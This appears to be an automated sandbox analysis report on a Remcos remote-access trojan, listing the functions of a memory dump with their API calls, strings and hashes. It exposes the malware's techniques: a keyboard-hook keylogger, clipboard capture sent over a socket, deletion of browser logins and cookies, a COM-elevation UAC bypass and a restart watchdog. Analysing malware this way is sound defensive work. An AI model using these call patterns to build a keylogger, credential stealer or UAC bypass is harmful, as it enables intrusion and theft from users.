                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                              • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                              • API String ID: 3018269243-13974260
                              • Opcode ID: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                              • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                              • Opcode Fuzzy Hash: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                              • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                              Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                              • FindClose.KERNEL32(00000000), ref: 0040BBC9
                              • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                              • FindClose.KERNEL32(00000000), ref: 0040BD12
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$CloseFile$FirstNext
                              • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                              • API String ID: 1164774033-3681987949
                              • Opcode ID: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                              • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                              • Opcode Fuzzy Hash: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                              • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                              Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • OpenClipboard.USER32 ref: 004168C2
                              • EmptyClipboard.USER32 ref: 004168D0
                              • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                              • GlobalLock.KERNEL32 ref: 004168F9
                              • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                              • SetClipboardData.USER32 ref: 00416938
                              • CloseClipboard.USER32 ref: 00416955
                              • OpenClipboard.USER32 ref: 0041695C
                              • GetClipboardData.USER32 ref: 0041696C
                              • GlobalLock.KERNEL32 ref: 00416975
                              • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                              • CloseClipboard.USER32 ref: 00416984
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                              • String ID: !D@
                              • API String ID: 3520204547-604454484
                              • Opcode ID: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                              • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                              • Opcode Fuzzy Hash: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                              • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                              Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                              • FindClose.KERNEL32(00000000), ref: 0040BDC9
                              • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                              • FindClose.KERNEL32(00000000), ref: 0040BEAF
                              • FindClose.KERNEL32(00000000), ref: 0040BED0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$Close$File$FirstNext
                              • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                              • API String ID: 3527384056-432212279
                              • Opcode ID: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                              • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                              • Opcode Fuzzy Hash: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                              • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                              Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                              • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                              • CloseHandle.KERNEL32(00000000), ref: 0040F563
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                              • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                              • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                              • API String ID: 3756808967-1743721670
                              • Opcode ID: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                              • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                              • Opcode Fuzzy Hash: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                              • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                              Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 0$1$2$3$4$5$6$7$VG
                              • API String ID: 0-1861860590
                              • Opcode ID: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                              • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                              • Opcode Fuzzy Hash: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                              • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                              Function 00452610 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 188COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                              • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                              • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                              • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                              • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                              • String ID: lJD$lJD$lJD$5}/
                              • API String ID: 745075371-2938055216
                              • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                              • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                              • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                              • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                              Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 00407521
                              • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Object_wcslen
                              • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                              • API String ID: 240030777-3166923314
                              • Opcode ID: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                              • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                              • Opcode Fuzzy Hash: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                              • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                              Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                              • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                              • GetLastError.KERNEL32 ref: 0041A7BB
                              • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: EnumServicesStatus$ErrorLastManagerOpen
                              • String ID:
                              • API String ID: 3587775597-0
                              • Opcode ID: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                              • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                              • Opcode Fuzzy Hash: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                              • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                              Function 00449190 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370timeCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00449212
                              • _free.LIBCMT ref: 00449236
                              • _free.LIBCMT ref: 004493BD
                              • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                              • _free.LIBCMT ref: 00449589
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ByteCharMultiWide$InformationTimeZone
                              • String ID: 5}/
                              • API String ID: 314583886-169246594
                              • Opcode ID: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                              • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                              • Opcode Fuzzy Hash: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                              • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                              Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                              • FindClose.KERNEL32(00000000), ref: 0040C47D
                              • FindClose.KERNEL32(00000000), ref: 0040C4A8
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$CloseFile$FirstNext
                              • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                              • API String ID: 1164774033-405221262
                              • Opcode ID: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                              • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                              • Opcode Fuzzy Hash: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                              • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                              Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                              • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C38E
                              • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C39B
                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                              • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3BC
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                              • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3E2
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                              • String ID:
                              • API String ID: 2341273852-0
                              • Opcode ID: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                              • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                              • Opcode Fuzzy Hash: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                              • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                              Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                              • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Find$CreateFirstNext
                              • String ID: 8SG$PXG$PXG$NG$PG
                              • API String ID: 341183262-3812160132
                              • Opcode ID: cb7bcd549964d34beac6a9ed48e4264662a834438446d80613bd2f371497bcfa
                              • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                              • Opcode Fuzzy Hash: cb7bcd549964d34beac6a9ed48e4264662a834438446d80613bd2f371497bcfa
                              • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                              Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                              • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                              • GetLastError.KERNEL32 ref: 0040A2ED
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • GetMessageA.USER32 ref: 0040A33B
                              • TranslateMessage.USER32(?), ref: 0040A34A
                              • DispatchMessageA.USER32 ref: 0040A355
                              Strings
                              • Keylogger initialization failure: error , xrefs: 0040A301
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                              • String ID: Keylogger initialization failure: error
                              • API String ID: 3219506041-952744263
                              • Opcode ID: a0c7fd995aca5085690907e56c9aea0f8c761d2d3ede884cf20f0c391cb5f383
                              • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                              • Opcode Fuzzy Hash: a0c7fd995aca5085690907e56c9aea0f8c761d2d3ede884cf20f0c391cb5f383
                              • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                              Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                              • String ID:
                              • API String ID: 1888522110-0
                              • Opcode ID: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                              • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                              • Opcode Fuzzy Hash: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                              • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                              Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
                              • RegCloseKey.ADVAPI32(?), ref: 004140A9
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
                              • GetProcAddress.KERNEL32(00000000), ref: 00414271
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressCloseCreateLibraryLoadProcsend
                              • String ID: SHDeleteKeyW$Shlwapi.dll
                              • API String ID: 2127411465-314212984
                              • Opcode ID: 31f50e56d7f4f7f2575dbc53f49883a4967628fc93eddf4b35ee6b86778a76ed
                              • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                              • Opcode Fuzzy Hash: 31f50e56d7f4f7f2575dbc53f49883a4967628fc93eddf4b35ee6b86778a76ed
                              • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                              Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                              • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                              • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                              • GetProcAddress.KERNEL32(00000000), ref: 00416872
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                              • String ID: !D@$PowrProf.dll$SetSuspendState
                              • API String ID: 1589313981-2876530381
                              • Opcode ID: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                              • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                              • Opcode Fuzzy Hash: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                              • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                              Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                              • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                              • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoLocale
                              • String ID: ACP$OCP$['E
                              • API String ID: 2299586839-2532616801
                              • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                              • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                              • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                              • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                              Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                              Download Yara Rule
                              APIs
                              • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                              • GetLastError.KERNEL32 ref: 0040BA58
                              Strings
                              • UserProfile, xrefs: 0040BA1E
                              • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                              • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                              • [Chrome StoredLogins not found], xrefs: 0040BA72
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DeleteErrorFileLast
                              • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                              • API String ID: 2018770650-1062637481
                              • Opcode ID: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                              • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                              • Opcode Fuzzy Hash: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                              • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                              Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                              • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                              • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                              • GetLastError.KERNEL32 ref: 0041799D
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                              • String ID: SeShutdownPrivilege
                              • API String ID: 3534403312-3733053543
                              • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                              • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                              • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                              • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                              Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 00409258
                                • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
